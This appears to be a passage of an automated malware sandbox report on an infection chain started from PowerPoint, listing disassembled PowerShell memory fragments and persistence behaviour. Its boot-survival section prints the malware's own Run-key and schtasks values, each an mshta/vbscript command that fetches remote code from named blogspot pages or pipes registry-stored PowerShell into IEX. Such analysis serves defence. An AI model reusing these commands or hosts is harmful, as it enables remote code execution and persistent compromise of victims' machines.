File source: Process Memory Space: powershell.exe PID: 2816, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0040921A pushad ; ret	12_2_0040921D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004091D2 push eax; ret	12_2_004091D5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_05640450 push eax; mov dword ptr [esp], ecx	12_2_05640474
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_01E591D2 push eax; ret	24_2_01E591D5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_01E5921A pushad ; ret	24_2_01E5921D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_0571017C push 000000C3h; ret	24_2_057101A5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_0571045C push eax; mov dword ptr [esp], ecx	24_2_05710474
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_05791A57 push 6E7FC374h; ret	24_2_05791A6E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_05791B93 push 6E7FC3C4h; ret	24_2_05791BAA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CEA1A8 push DCBDC399h; ret	33_2_01CEA219
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF61FF push ebx; iretd	33_2_01CF6202
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF61FD push ecx; iretd	33_2_01CF61FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF61F9 push eax; iretd	33_2_01CF61FA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5DA4 push eax; retn 0074h	33_2_01CF5F59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5557 push ebp; iretd	33_2_01CF555A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5554 push ebp; iretd	33_2_01CF5556
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5578 push eax; retn 0074h	33_2_01CF5579
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF6908 push eax; retn 0074h	33_2_01CF6BE5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF2C9C push eax; retn 0074h	33_2_01CF2C9D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5098 push eax; retn 0074h	33_2_01CF5099
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF58B0 push eax; retn 0074h	33_2_01CF5D81
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF6868 push edi; iretd	33_2_01CF689E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5077 push eax; iretd	33_2_01CF507A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5075 push eax; iretd	33_2_01CF5076
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF43E8 push edi; iretd	33_2_01CF43D6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF43E8 push edi; iretd	33_2_01CF4466
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF43E0 push edi; iretd	33_2_01CF43E6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF4388 push edi; iretd	33_2_01CF43DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF4F91 push eax; iretd	33_2_01CF4F92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF4FB0 push eax; retn 0074h	33_2_01CF4FB1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_01CF5354 push eax; retn 0074h	33_2_01CF5355

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Windows\System32\mshta.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run checkmatebaby

Jump to behavior

Creates autostart registry keys with suspicious values (likely registry only malware)

Show sources

Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run mithuiki mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).meather)\|IEX"", 0 : window.close")	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run checkmatebaby mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta https://backbones1234511a.blogspot.com/p/stback1.html"", 0 : window.close")	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run NULL mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta https://startthepartyup.blogspot.com/p/backbone14.html"", 0 : window.close")	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run bukun mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta https://ghostbackbone123.blogspot.com/p/ghostbackup13.html"", 0 : window.close")	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Defeduckgotfucked mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).phuttalylo)\|IEX"", 0 : window.close")	Jump to behavior

Creates multiple autostart registry keys

Show sources

Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run NULL	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run bukun	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Defeduckgotfucked	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run mithuiki	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run checkmatebaby	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: unknown

Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')

Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run mithuiki	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run mithuiki	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run checkmatebaby	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run checkmatebaby	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run NULL	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run NULL	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run bukun	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run bukun	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Defeduckgotfucked	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Defeduckgotfucked	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
